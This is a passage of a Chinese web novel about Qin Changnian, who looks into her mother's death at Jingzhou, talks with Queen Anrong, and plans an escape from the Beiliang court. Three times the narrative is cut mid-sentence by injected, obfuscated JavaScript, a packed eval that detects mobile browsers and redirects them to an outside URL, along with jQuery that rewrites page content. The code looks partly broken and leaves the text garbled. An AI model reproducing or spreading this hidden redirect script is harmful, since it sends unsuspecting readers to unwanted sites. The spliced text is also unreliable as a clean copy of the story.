“嗯,受伤了。”秦常念的眼神失焦,似听非听地答道。 苒儿吓了一跳,赶紧围着秦常念转了个圈:“小姐伤着哪儿了?需不需要奴婢去请太医?是奴婢失职,没有照看好小姐。” 苒儿因为担忧放大了的声音似乎将秦常念唤醒,秦常念猛然回过神来,映入眼帘的就是苒儿焦急的脸,一时间连发生了什么都没反应过来,就呆呆地看着苒儿。 苒儿见她不说话,更担忧了:“小姐,您没事吧?都怪奴婢没有保护好小姐,您责罚我吧。” “怪你什么。”秦常念看着她,苍白地笑了一下,“你来找我是有什么事吗?” “奴婢的一位朋友想见小姐一面。”苒儿一五一十地说了,看着秦常念憔悴的神色,又说道,“但小姐今日若是不方便,改日也行。” “你的朋友?你倒是朋友多。请她进来吧,顺便再泡壶茶来,我与她聊聊天。” “好的小姐。”苒儿退出房间,对着等在门外的武凛说道,“我瞧小姐今日状态不对,你说话可要注意着些,莫要惹得小姐伤心。” “我知道。”武凛点了点头。 “跟我来吧。”苒儿带着武凛往秦常念房里去。 秦常念原以为苒儿会像往日一样带来一个别的丫鬟或是杂役。苒儿总是怕秦常念在北凉太孤单,想着法地邀请她的朋友来,一块陪秦常念聊天、打牌、嗑瓜子。秦常念为人亲和,也乐得与她们接触,久而久之,便颇有几分闺中密友的氛围。 但今日来的竟是个男子,这男子还颇有几分眼熟。 “你是来帮我搬东西的那位吧?我们才见过的。”秦常念说道。 “是,小姐真是过目不忘。在下武凛,是藏书阁侍卫班领。”武凛抱手行礼道。 一提到藏书阁,秦常念立刻就想起丢了的那本行军日志,警惕地看了武凛一眼,礼数仍是很周全:“武班领好,想不到你竟是苒儿带来的朋友。” “是在下特意请苒儿帮一个忙的,还请小姐莫要怪罪于她。”武凛赶紧把责任都揽到自己身上。 “哪里的话,我在北凉也闷得很,多认得一个朋友也是好事。”秦常念看着武凛认真的神情,猜测他有话要说,便支开苒儿,“苒儿,你去沏壶茶,再拿些糕点来,莫要怠慢了武班领。” “是,小姐。”苒儿屈膝行礼,转过身和武凛交换了个眼神,武凛向她投去一个放心的眼神。 待到苒儿关上房门,房间里的气氛在一刹那转变。 “秦小姐可丢了东西?”武凛严肃地问。 “武班领何意?”秦常念上下打量着武凛。 武凛并没打算兜圈子,他从怀里拿出那本行军日志:“这书是从秦小姐房间找到的,可是秦小姐从藏书阁取的?” 他没用偷,而是用了“取”这个字。 秦常念有些猜不透他的意图,看着他不置可否。 武凛见她不说话,将那本书放回桌上:“在下没有别的事了,只是来物归原主罢了。”说罢,便起身准备离开。 秦常念觉得此间古怪,武凛明知道她偷走了藏书阁的书,为何不上报,为何还要来将书还给她。这也是隗子舟圈套的一环吗? 但秦常念决定赌一把,她直觉武凛是和荆州有关的人,若是他和荆州有关,那他一定知道关于母亲的事情。 秦常念叫住武凛:“我在调查荆州战役一事,武班领可有耳闻?” “古往今来,荆州可不止一场战役,秦小姐可否详细说说?”武凛听到这话,又回来坐下。 “关于崔虞兰守城一战,我怀疑另有隐情。”秦常念几乎断定武凛知道当年之事,而且就是为了当年的事来的。 武凛盯着秦常念好一会,秦常念的眼神没有丝毫闪躲,就也直直地看着他。武凛才慢慢说道:“当年荆州一战,幸得崔将军及时携兵援助,与敌军激战三天三夜,守住了荆州。可城门外的叛军刚被剿灭,城墙上的守卫就开始朝崔将军的军队拉弓。最终,崔将军及其部下全部在荆州之战中丧生。” 秦常念不可思议道:“荆州城内的军队里也有叛军?” 武凛没说话,留出空间给秦常念思考。 秦常念又将事情从头到尾捋了一遍。不对,若守城的队伍里也有叛军,早在崔虞兰率领部下在前线冲锋陷阵的时候,就应该和城外的队伍里应外合。等到城外的叛军被剿灭之后,才动手。意味着当时有除了崔虞兰、叛军之外的第三股力量。 “武班领怀疑谁?”秦常念想了一会,单刀直入。 武凛也没回答,只是又从怀里掏出一张已经磨损的信的一角,上面写了一个“杀”字。 秦常念接过来仔细地看了,像是从什么密信中裁出的一角,而所用的纸张比她在漠北惯常见的摸起来都要厚实一些,纸张细腻,所用的墨,即便放了多年也不见褪色的痕迹。 “是帝京的人?”秦常念几乎是在一瞬间就说了出来。 “在下所知道的就是这么多了,剩下的都要靠小姐自己去查了。”武凛再次抱手鞠躬,似乎是将这些证物托付给秦常念。 “你是谁?” “我是荆州之战中崔将军麾下唯一幸存的人。” 一排又一排的弩箭射下,身边无数名兄弟应声倒下。武凛掩护着崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197199|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞兰在城门下寻了遮挡蹲下来。 “崔将军,我去引开他们。”武凛刚提了剑想出去,就被崔虞兰一把拽住。 崔虞兰的肩膀被箭射中,还在汩汩地往外流血。她一手按住伤口,看着武凛摇了摇头道:“不行,我去。” “不可!”武凛刚想说话,又被崔虞兰挡下。 “先听我说完吧。”崔虞兰因失血过多,脸色惨白,“很显然他们的目标是我,杀你们只是为了灭口。他们不见到我的尸体是不会罢休的。你以为我能跑得掉吗?我去引开他们,你带着那张字想办法逃出去,活下来,终于一日能为我、为你的兄弟们报仇的。” 五天前,他们刚刚抵达荆州,便应郡守邀请,在营帐里共同商讨计策。 来之前,崔虞兰就说过她的怀疑:“守军虽少,但荆州毕竟易守难攻,且由于位处中心地带,军备上年年的支出是极大的。即便守住有困难,需要援兵,也不会像他们信中所报那样困难。我怀疑其中另有隐情。” 在郡守营帐内,崔虞兰不放过任何一个细枝末节,面上是讨论战略部署,在郡守不注意的时候,便四处查看,有无可疑之处。 果然在郡守书案上的烛台里,发现了一片没烧尽的纸片。崔虞兰向身旁的武凛使了个眼神,武凛立刻会意,指尖弹出个石子打灭烛火。 郡守立刻向后看去。 武凛刚要走过去,郡守就出声制止了:“来人,换个烛台!这点小事就不麻烦将军的人亲自动手了。” 武凛闻言,没再走进,躬身道:“多谢郡守。” 丫鬟刚将烛台端出来,崔虞兰早就安排好的侍卫便在门口将她拦下来:“非常时期,奉将军之命,所有进出营帐的东西都需要检查。” 丫鬟自然是乖乖地将烛台交上去,侍卫拿在手里检查,趁她不注意,将那张纸条抽走,佯装检查的样子:“没什么问题了,拿下去吧。” “是。” 所以城门口大乱,他们最先想到的就是这张写着“杀”字的碎纸条。 “武凛,你是新一辈中最有本事的。我相信你,所有的兄弟们也都相信你。”崔虞兰说完这句话后,将边上的尸体拖来盖住武凛,便转身而去。 她鲜红的背影,明艳而决绝。像是一滴血,在宣纸上晕染开。 崔虞兰以一敌百,剑在她的手中被挥舞出残影,截断数百支箭。但总有防不住的那一支。 在崔虞兰转身的时候,一支箭直直对着她的心脏插进来。鲜活跳动的心脏被刺穿,仍奋力地搏动几次,最后不甘心地缓缓停下。 崔虞兰的身影也缓缓倒下。 武凛在死人堆中目睹了一切,心里却是毫无感觉的麻木,甚至连一滴眼泪也流不出来。 他拼命活下来,来到北凉,一步一步走到今天,支撑他全部生命的就是那句“相信”。 最有本事的人,受得住最多的折磨。 武凛必须成功。 太多太多将士的冤魂需要告慰。尸骨无存的他们,需要一个切切实实的答案。 “谢谢你,武班领。谢谢你,认识崔将军。”一行泪从秦常念的眼眶滑落。 崔将军这个称呼,是秦常念第一次听到别人说亲口说出,可这才应该是属于母亲的名字。 “武班领,我一定将事情的真相查出,那么多将士们不能枉死!”秦常念立下誓言,“只是还有一事想求你帮忙。” “秦小姐尽管开口。” “我想借您的令牌一用。” 43. 令牌 武凛把令牌留在了秦常念那。秦常念想了好几天都没有更好的办法,决定冒险一试。 她命苒儿取来黑色的衣裙,又用面纱将脸蒙住,还特意将隗絮送她的那枚玉质剑佩取下来带着。 秦常念不常出来,此刻她一边在脑子里回想上次在藏书阁看过的地形,一边往西门走去。在西门侧面寻了一根柱子,躲起来观察。 进出的人不多,稀稀拉拉的。秦常念看不出个所以然,决定走过去。 “你的通行令牌呢。”秦常念刚走过去,就被一个士兵拦住。 秦常念看了他一眼,故意晃动了一下腰间的令牌,又留心观察那士兵的表情。 士兵不为所动,提起刀就架在她的脖子上:“你没有?” 秦常念此刻几乎可以断定隗子舟是骗她的,所谓的西门,根本不是人流量最大、最易通行的门,恰恰相反,这是巡查最严的门。 可隗子舟图什么呢? 秦常念来不及细想,士兵的刀已经彻底贴住秦常念的脖子。 “我有。”秦常念立刻往怀里掏,脖子转动的时候,薄刃轻易就划开了皮肉,鲜血渗出来。 士兵对于秦常念忽然的动作更加警惕了,恶狠狠的眼神瞪着她,仿佛下一秒她拿不出来,就要被撕成碎片。 秦常念掏出隗絮的那枚剑佩,在士兵的眼前摊开。 表面上很镇静,心里却万分忐忑。 关键时刻,只能靠你了。 见士兵盯着那剑佩半天没说话,秦常念开口道:“少主的东西你都不认得?” 士兵正要凑近去看,一声嚣张跋扈的声音就把他喝住:“少主玉佩,见玉如见少主,还不跪下?” 士兵和秦常念闻声转头去看,竟是安蓉王后被人搀着走了过来。 士兵吓得立刻跪下去:“参加安蓉王后,是属下失礼。” 安蓉王后将手从丫鬟手中抬起,冷笑道:“见玉佩如见少主,你是听不见本宫的话吗?”说罢,便一巴掌扇了上去。 她修长的指甲将士兵的脸划出一道长长的口子,从颧骨蔓延到嘴角。 士兵都来不及害怕,立刻磕头道:“参加少主大人。” 安蓉王后满意地点了点头,转过来看秦常念。 秦常念立刻屈膝行了个礼:“参加安蓉王后。” “你过来。”安蓉王后勾了勾手指,示意秦常念跟她走。秦常念亦步亦趋地跟在丫鬟的后面,不敢多说一句话。 到了福宁宫,安蓉王后坐下来,一伸手,立刻就有一盏茶递到她手上。安蓉王后不紧不慢地用盖子拨了拨茶,抿了一口。 “多谢安蓉王后。”秦常念率先打破僵局,抱手道。虽然她不知道安蓉王后刚才为什么替她解围。 “你谢我什么?”安蓉王后抬起眼皮看她,“要谢就谢他吧,他居然把少主令牌给了你。倒让本宫好奇起来,你这狐狸精到底有何本事。” 那枚玉佩竟然真的是少主令牌?秦常念诧异不已。脑子里闪回过许多画面。譬如那枚玉独特的色泽颜色,譬如她在北凉每每拿出那柄剑的时候,都有人对着那玉佩露出难以隐藏的讶异表情。 她不是没怀疑过,可她觉得不可能。 隗絮再对她用情至深,都不可能会云淡风轻地将少主玉佩送给她。 爱没那么伟大。 秦常念是这么以为的。 安蓉王后不耐烦地用指甲敲了一下桌面,提高了声音:“本宫叫你抬起头来,你不要以为有隗絮给你撑腰,你就可以在北凉王宫横着走了。” 秦常念如梦初醒把头抬起来。 “也不过如此嘛。”安蓉王后上下打量了一下秦常念的脸,然后得出结论,“如果他喜欢的是你这样的,本宫可以替他寻十个八个来。可他唯独不能选你。” 秦常念没有接话,她的淡定更加激怒了安蓉王后。 安蓉王后拍了一下桌子,站起来道:“你以为勾引到少主就可保你一世安虞吗,你敢保证他能救你吗,他能次次都救你吗?你敢保证他爱你吗,他会一直爱你吗?在王宫之中相信一个男人的爱,秦常念,你真是蠢透了。”而后忽然就大笑了起来,边笑还边捂住胸口。 秦常念沉默地看着安蓉王后过于夸张的笑脸,似乎捕捉到了一丝悲怆,但秦常念也不确定是不是自己看错了。 “那王后娘娘呢?”秦常念问道。 安蓉王后的笑忽然止住,她看着秦常念,似乎在等她说下一句。 “娘娘也是相信了爱情,才做了北凉的安蓉王后吗?”秦常念是真的好奇,她想知道,这位来自江南的女人,是如何走到今天,变成她眼前的这位安蓉王后的。 在成为安蓉王后之前,你是谁。 安蓉王后在秦常念真挚的眼神中居然败下阵来。她偏过头看向窗户外面,想起了从前的事。在贤王还没有成为贤王,世上更没有安蓉王后的时候,发生的事。 安蓉王后本名唤做柳清,是出身名门望族的大家闺秀,她与隗止自小便订了娃娃亲,亲梅竹马、两小无猜。待到隗止加冠后,便顺理成章地嫁给他,料理家中事务、抚养小孩,有时还帮隗止的仕途之路出谋划策。 广运二年,隗止任永州州牧,躬亲务实、爱民如子,颇受百姓爱戴。隗家的日子也越过越好。 变故发生在贡院举行州试的前两个星期。州牧府上来了一位意外的客人——是婧妃派来的暗卫。 这年恰逢婧妃的侄儿周礼应考。婧妃便特意着人来询问永州州试的翰林官是谁,想要疏通关系。 根据大齐律令,为确保考试的公平性,各州负责阅卷的翰林官仅于考前一月告知州牧。隗止是寒门走出来的贵子,所以他比谁都清楚科举对于普通人的意义。他没有选择与婧妃合作。婧妃大怒。 不久后,州试结果出来了,周礼果然没有考中,解元为梁氏。 十月,梁氏去帝京应考,竟突发心疾,死在途中。梁氏先前屡试不中,已过而立之年,家中父母都已不在。因此由官府派人去收尸。 谁料在梁氏的大臂内侧发现了誊抄的经文小字,“永州解元作弊”的消息不胫而走。大家纷纷开始怀疑永州州试是否存在内幕,梁氏是否贿赂买官。 皇上立刻下令调查此事,还没等隗止接到诏令入宫,就听说那翰林官招了。 “皇上饶命,皇上饶命啊,我招,我全都招。永州州试的结果确实不公平,梁氏也早就被内定了。但下官也实属无奈啊。永州州牧隗止派人挟持了我父母,以我父母的姓名威胁我同他合作,不然就杀了我父母!下官父母已年过古稀,下官实在是怕他们经不起折腾啊,没办法,我只能答应同他合作,选他要选的人。皇上,下官实在是被逼无奈,没法子啊。”翰林官一下接一下重重地扣着响头说道。 隗止接到这个消息的时候,就知道是婧妃威胁了那翰林官,借梁氏之死栽赃嫁祸。此事认证物证俱全,估计很难再有回旋的余地了。 再加上之前出的荆州叛乱一事,大家都变得敏感了,许多人开始怀疑隗止是在借州试培养自己的势力,选拔忠于自己的人才。后来越传越盛,荆州和永州相隔不远,大家开始怀疑隗止和荆州叛乱有关。 这些传闻不仅仅是在民间,更有官员也递上了折子。这件事就这样传进了皇上的耳朵里。 这样一来可就闹大了,事情从贿赂买官上升到对国不忠。大家都说圣上对隗家很是不满,也许会将他们满门抄斩也说不定。 就在隗止都准备放弃的时候,柳清站了出来,她最先考虑的不是个人的生死,而是隗止的仕途之路。她认为以隗止的才华和能力,绝不能止步于此。于是她变卖家产、各处打点,举家迁往北边。 在漠北的时候,他们在秦远那里稍作停留,秦远告诉他们,赤狄人现下被针对、群龙无首,若他能将他们统一起来,一定受到拥护。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220621|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来,隗止才建立了北凉,成为贤王,柳清被封为安蓉王后。一路走来,柳清陪着隗止从青涩少年走到三品官员,从悬崖边走到王位上,她从一而终地相信他、鼓励他、陪伴他。 贤王为了坐稳王位,娶了赤狄部落首领的大女儿,也就是珞妃。贤王的王位越坐越稳,柳清却觉得他们之间早已变质。贤王不再隔三差五就出现在福宁宫,与安蓉王后品茗作诗、共用晚膳;也不再与她同床共枕、相拥而眠。 即便福宁宫里的吃穿用度都是最高规格,举行大典时贤王边上坐的一定是安蓉王后。不要说雨露均沾了,贤王这些年纳过的妃也就珞妃一人,她死后,贤王身边除了安蓉王后更是没有其他人。俨然一段爱情的佳话。 连宫里的丫鬟都说“王后娘娘好幸福,能与贤王一生一世一双人。” 但安蓉王后心里清楚,隗止和柳清的故事结束了,安蓉王后和贤王的故事才开始了。 相不相信爱情呢,她相信过。准确地来说是柳清相信过。 福宁宫内安静了好久,安蓉王后望着窗外发呆,秦常念望着安蓉王后发呆。虽然安蓉王后一句话也没讲,但秦常念仿佛听到了很多,从她的表情和眼神里,听到了一整个故事。 “参见少主大人。”丫鬟行礼的声音打破了房内的安静,一阵急促的脚步声传来。 秦常念和安蓉王后同时转过去,看见隗絮正急匆匆地走来。 他一把把秦常念拉到身后,恭敬却又严肃地对安蓉王后说:“母后,您有什么事情找我说,还请您不要再找秦小姐麻烦。她会是未来的少主夫人,还请您尊重她。” 安蓉王后闻言,看向秦常念,笑了一下。 秦常念立刻拉了拉隗絮的衣摆:“没有,你误会了,我是来同安蓉王后聊天的。” 隗絮侧过头看着秦常念,秦常念迎上他的目光,眼睛一闪一闪地说道:“真的,我们聊得很开心,我还和安蓉王后说好了下次也来找她聊天呢。” “和秦姑娘说话很有意思,但现在絮儿来了,便不留你了。我们改日再约。”安蓉王后接了话。 “谢过安蓉王后。”秦常念行礼道。 隗絮也行了个礼,拉着秦常念转身出去。秦常念忽然想起了什么,转过身对安蓉王后说道:“娘娘的问题我忘记答了,我不相信。” 于我而言,依靠一个男人过一辈子,我做不到。 安蓉王后很意外这个回答,她盯着秦常念看了一会说道:“秦姑娘的答案我很意外,改日我再去承韵宫与你探讨。” 秦常念点了点头:“恭候安蓉王后。” 隗絮感觉到她们两人的气氛早已从之前的剑拔弩张,变得有几分惺惺相惜了,他问道:“相信什么?” “没什么。”秦常念边走边答道。 隗絮又从旁边牵起她的手:“当我傻啊,你们明摆着刚刚聊了什么。” 秦常念没有挣脱,回握住隗絮的手:“我不是都回答了不相信嘛。” “不相信什么?” “我都不相信了你还管他是什么。” “我就是想知道。” “我就是不想告诉你。” “你要怎样才肯告诉我?”隗絮一出口就后悔了,他怕听到秦常念那个亘古不变的愿望。 “我怎样都不会告诉你。”秦常念眼睛转了一圈,选择不说那个愿望。 隗絮惊喜地看着秦常念,眼神是隐藏不住的雀跃。 秦常念掏出那个玉佩问道:“这个是你的少主令牌吗?” “母后告诉你的?”隗絮没有正面回答她的问题。 “你拿回去吧。”秦常念也没有回答他的问题,只把那个玉佩往他手里塞。 “是送给你的。”隗絮将那个玉佩挂回秦常念的腰上,“不要担心,我没别的意思,就是我不在的时候想让它保护你。” 爱很伟大, 隗絮是这么证明的。 44. 软垫 回了承韵宫,隗絮端着药进了房间,在秦常念边上坐下:“拿着少主令牌也能受伤,蠢死了。”随后用棉花沾了药粉,轻轻盖在秦常念脖颈上的伤痕。 “我也是没那么娇气。你这药再拿来得晚些,伤口都要看不见了。”秦常念摸了一下伤口,原本就是细长的一条,此刻已经结了一层薄薄的壳,不以为意地说道。 隗絮将她的手拍开:“上药的时候不要摸伤口,老实坐着。” 秦常念忽然有种被长辈训了的感觉,“噢”了一声,往后靠去。 苒儿还真是贴心,我之前提了一嘴木质的床头靠着硌得慌,她这么快就铺了靠垫。不愧是苒儿。秦常念边想边扭动了一下身子,很放松地靠着。 隗絮上药的手忽然停了。 “上完药了?”秦常念闭着眼睛问道,“上完了你就走吧,我歇会。” 敢这么跟少主讲话的,她怕是天上地下独一个。被其他人看到,估计眼睛都会吓得掉出来。 “嗯,我走了。那你先起来一下。”隗絮答道。 “干嘛?少主这么大的人了,该不会还要我送你回去吧。”秦常念睁开眼睛,直起了身子。她发誓她下次不会再过分信任苒儿的行动力了,她靠着的不是靠垫,而是隗絮的胸肌。 难怪刚才靠上去的时候,觉得靠垫忽然硬了一下,我还以为是太冷了冻住了呢。秦常念羞得恨不得钻到地里去,赶忙抓着隗絮的手臂将隗絮扶起来:“那个……我以为是靠垫呢,呵呵。抱歉,少主大人。” “是么?”隗絮眯起眼睛看着她。她还真是无事:隗絮,有事:少主。 “怎么……不是呢。”秦常念低下头不敢看他,什么是不是的,他到底在问什么啊。 “我看你靠着还挺享受的。”隗絮扔下一句话,就离开了。 留下秦常念大吼一声“啊!”,然后倒在床上,用被子把自己裹起来,扮演一只阴暗见不得人的蛆,在床上咕蛹了一个来回。 这一声中气十足的惊天大泣鬼神的哀嚎顺着空气传出去,侍从们都被吓了一跳,震惊而又好奇地向屋里瞟去。 “看什么看。”隗絮说道。 侍从们立刻低下头,忙自己手里的活。没活的也假装硬忙。 “剪书,去准备一个软垫。”隗絮吩咐道。 “是,少主大人。” “也不用太软。和我差不多就行。”隗絮说着说着嘴角浮起一抹不易察觉的笑容。 但剪书察觉到了,他睁大了眼睛,不敢作声。少主大人近来似乎劳累过度,精神有些失常了。 隗絮毫不在意,哼着歌就回去处理公文了。 隗子舟仍然时不时地翻墙来承韵宫找秦常念,一口一个“姐姐”“姐姐”的,叫的起劲。这天隗子舟又翻进来,嚯嚯承韵宫的那些花草,在墙边一根一根地拔着玩。 “你真是长一张让人心疼的脸,有一颗残忍的心。这都被你拔秃了,草难道不会痛的嘛,弟弟,它招你惹你了,你要结束人家的生命。”秦常念坐在台阶上,用手撑着脑袋问道。 隗子舟顿了一下,有些紧张地抬起头来看秦常念,见秦常念神色如常,又觉得她似乎没有言外之意,便说道:“姐姐是讨厌我拔吗?若是姐姐讨厌的话,我不拔就是了。”说罢,便松了手,低落地坐到下一层台阶上。 秦常念低下头去看隗子舟:“哪有,我不过就随口一说,弟弟还真放心上去了。” “姐姐说的话我一字一句都放在心上了,姐姐可不许骗我。”隗子舟说道。 秦常念打了一下隗子舟的肩膀,痛得隗子舟抖了几下。 “让你乱说话!”秦常念笑道,“不过弟弟,围猎的时候你真能帮我逃出去吗?”秦常念压低了声音问道。 “我一定尽全力帮姐姐。”隗子舟回答道。 “你不能把请帖也顺便帮姐姐弄来吗,你那么神通广大的。”秦常念向前倾了一点身子,离隗子舟近了点。 隗子舟的视线在秦常念的脸上转了一圈,最后落在旁边小草的尸体上,并没直视她:“我都听说了,姐姐和安蓉王后近来很熟,想必要个请帖不成问题。” “我这不是在努力巴结她嘛。”秦常念到是没藏着掖着,“但是安蓉王后毕竟是王后,人家可是比我不知道厉害多少倍,说不定她不愿意给我呢。她可难相处了。要是她不肯给,弟弟到时候还会帮我吗?” 隗子舟把视线移回来,看着秦常念笑了一下。看到秦常念的发顶有一片落叶,他抬起手,但立刻又把手收回,跟着视线也收回了:“你的头发上有叶子。” “噢。”秦常念抬手把叶子拿下来,拿在手中把玩。 “若是安蓉王后不肯给你请帖,便罢了吧。你就别去了。”沉默了许久,隗子舟再次开口,“我也没那么大的本事。” 若你没要到,那便是天命了,算你福大命大。隗子舟想着。 秦常念笑道:“别那么悲观,相信姐姐我,保证准时出现在围猎上。” 隗子舟嘴角扯出一个不怎么像笑的笑容:“那我等姐姐的好消息。” 承韵宫最近忙得很,不仅有翻墙的逸侯,还有从正面大驾光临的安蓉王后。她喜欢和秦常念聊天似乎不是客套话,时不时就来找秦常念一起下棋、打牌。两人的关系日渐亲密。 这天秦常念邀请安蓉王后尝她亲手做的糕点。 “嗯,很好吃。秦姑娘深藏不露啊。”安蓉王后夸赞道。 秦常念笑道:“王后娘娘喜欢吃就好。” “吃人嘴短,你是懂得笼络人心的。”安蓉王后边吃边说道。 “王后娘娘怎么知道我有事相求,真是未卜先知啊。”秦常念说道。 安蓉王后立刻放下了手中的点心:“我可做不到啊,你别来求我。” “娘娘还没听是什么事呢。” “什么事我都不帮。” 秦常念换上认真的表情:“下个月就是娘娘的生辰了,我也想参加围猎。” “不行,围猎多混乱你是不知道,你这都要做少主夫人了,还是别凑这个热闹了。”安蓉王后看到箱子里已经送来的喜服说道。 秦常念顺着她的眼神看过去,是前几天隗絮着人送来的大红色喜服,凤冠霞披都准备好了。秦常念叹了一口气:“不瞒娘娘,我不会做少主夫人的。我说过我不相信。” 见安蓉王后不说话,秦常念又说道:“其实我留在这里对北凉也没好处。不如让我趁早回去,省的你们也担忧我窃取机密、传送消息。” “隗絮会让你走吗?”安蓉王后是见到了隗絮对于秦常念非同一般的执着。 “就是因为他不让,我才要参加围猎的。娘娘只管把我放进名单里,所有的结果我自己承担。” 安蓉王后仍在犹豫,没有给出肯定的回答。 “毕竟王后娘娘肯定也是希望少主日后继承王位的,他娶一个仇人的女儿,算什么?王后娘娘放心,这次隗絮肯定会答应的。” “你有几成的把握?”安蓉王后问道。 “九成。”秦常念答道。 “容我想想吧。”安蓉王后吃完最后一块糕点起身。 “多谢娘娘。”秦常念也跟着起身。 一周后,参加围猎的请贴被秘密送到秦常念的手上。 秦常念立刻就吩咐下去:“苒儿,帮我去武凛那里要一件盔甲来,要小、要轻,可以穿在衣服里面的那种。” “小姐,您要做什么?”苒儿很担心。 “放心吧,不会死的,小姐我厉害着呢,快去吧。”秦常念摸了摸苒儿的头,笑着说道。想到不久就要与她分别了,心中不免还是有些不舍,但强压着没表现出来。 苒儿去找了武凛说明来意,藏书阁侍卫营宝贝很多,武凛立刻就寻出来了一件金丝锁子软甲,将纯金制成无数个微小而又严密的曲环,每一个环都彼此连接,编排多层以达到防护效果。重量极轻,贴身可穿,不易被察觉。 武凛将软甲连通一些伤药递给苒儿:“让你们家小姐小心点,注意安全。” “你说秦小姐是要做什么?竟然要准备软甲,会很危险吗?”苒儿问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14224295|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有其母,必有其女。我相信秦小姐青出于蓝而胜于蓝。”隗絮答道。 “什么嘛,你们文化人,读过书,净答些哑迷,听也听不懂。”苒儿抱着东西一边嘀咕着一边回去了。 “在围猎的前一天,再帮我准备一些鸡血,我要绑在身上的。”秦常念一边感叹着那软甲的精美,一边安排道。 围猎开始前的几个星期,隗絮似乎有些隐隐约约的担忧。他主动又带秦常念出了一次宫。 “你母后喜欢什么颜色?这个她会喜欢吗?”秦常念拿起一支宝蓝色游鱼雕花的发簪问道。 “是给母后的生辰宴准备的吗?”隗絮问道。 “对啊,安蓉王后待我极好,她的生辰礼物可得要用心挑。这个呢,这个怎么样?”秦常念又拿起边上的珍珠项链问道。 隗絮顺着她的动作看了一眼:“嗯挺好看的。”目光深沉地打量她,又问道,“除了生辰宴,你可还要参加别的?” 秦常念顿了一下,并没放下手中的项链道:“譬如呢?” “围猎,你不会去的吧?”隗絮问道。 秦常念笑了:“我对猎动物可没兴趣,从前在漠北都不参加。”她没正面回答这个问题。 “你……” 隗絮还想说什么,却被秦常念打断,她握住隗絮的腕子,把他拉过来:“快别唠叨了,现在的要紧事是给你母后选一个生辰礼物,要是选的她不满意,我可要被她骂了。你不想我被骂吧?”说罢还露出了一个可怜的表情,就好像她已经被骂了一样。 隗絮经常莫名其妙地被秦常念牵着鼻子走:“不想。” “那就快来选。”秦常念又拿起一个绿松石耳饰递到隗絮手里,“要仔细挑。” 隗絮对这些女人用的东西向来不了解,但秦常念这么说了,他便将那些饰品拿在手上仔细地看着,最后还是选了那发簪:“这个吧。” 秦常念看着他认真的侧脸,忽然就不忍心骗他:“诶,你要放我走吗?” 隗絮闻言,立刻放下手里发簪,正色道:“你每天到底都在想什么。” “你还没回答我的问题呢。”秦常念道。 “……你心里有答案。”隗絮盯着秦常念毫不退让。 本来轻松的氛围瞬间又变得凝。秦常念在心里怪罪自己,为什么偏要在这时候,说这些话。反正结局都已经定好,就说几句诓人的话,让过程美好一点不行吗。 可她是如此想听到隗絮的答案,她始终希望是他愿意放她走。 可她明明知道他不会说出她想要的答案。 可她有的时候就是愿意去做徒劳的尝试。 人天生就憎恶不确定的事物,头上悬而未决的刀,态度飘忽不定的爱人。所以清楚说出来的审判好过迷迷糊糊的回答,未果何尝不是一种结果。 “我还是想听你说。”秦常念也看着隗絮说道。她的眼神里有着全然的信任和期待,让隗絮不忍心说出那个答案。 隗絮率先偏过脸,避开秦常念的视线,叹了口气,却没回答。 秦常念追问道:“你说吧。” “不会。”隗絮又深吸了一口气,像是下了很大决心转过来,一字一句地说,“我不会放你走。” 意料之中的回答,但秦常念还是不可避免地失望了。 虽然她以为自己不会失望的。 秦常念点了点头,强忍住眼泪,拿起那根簪子:“你也觉得这个好看吧?那就买这个了。” “好。”隗絮点了点头,叫来店家结账,又拿起另一根春雪花样式的发簪,“这个也一并包起来。” “没问题客官。”店家一见来了贵客,一下买了店里最贵的两样发饰,笑得合不拢嘴,将那两个发簪分别装进木质屉盒里装好。 隗絮将春雪花的那个递给秦常念:“送你的。” 是你身上浑然天成的香气。 秦常念抬起头来看,犹豫了一下还是接了:“谢谢。” “跟我不必这么客气。”隗絮道。 “习惯了。”秦常念答道。 45. 替身 在安蓉王后的生辰到来之前,隗絮先成了舞台的主角。 安蓉王妃身着红色华服坐在正中央,秦常念和隗絮并排坐在低一点的地方。 二十几个花容月貌、百媚千娇的女子轮流出来表演节目,从歌舞到琵琶,应有尽有。她们肤若凝脂、眉目传情,秦常念觉得连自己这个女人都有些心动了。 秦常念抬感叹道:“姐姐们真漂亮。” 隗絮看了她一眼,眼神带了几分嫌弃:“你倒是看得入迷。” “这么好看的表演你不喜欢吗?”秦常念问道。 “不喜欢。”隗絮毫不犹豫地回答道。 “你再仔细看看呢,我觉得第二排右边那个姐姐就不错,看起来温温柔柔的。”秦常念努了努下巴推荐道。 隗絮没有去看,只是一直盯着秦常念。 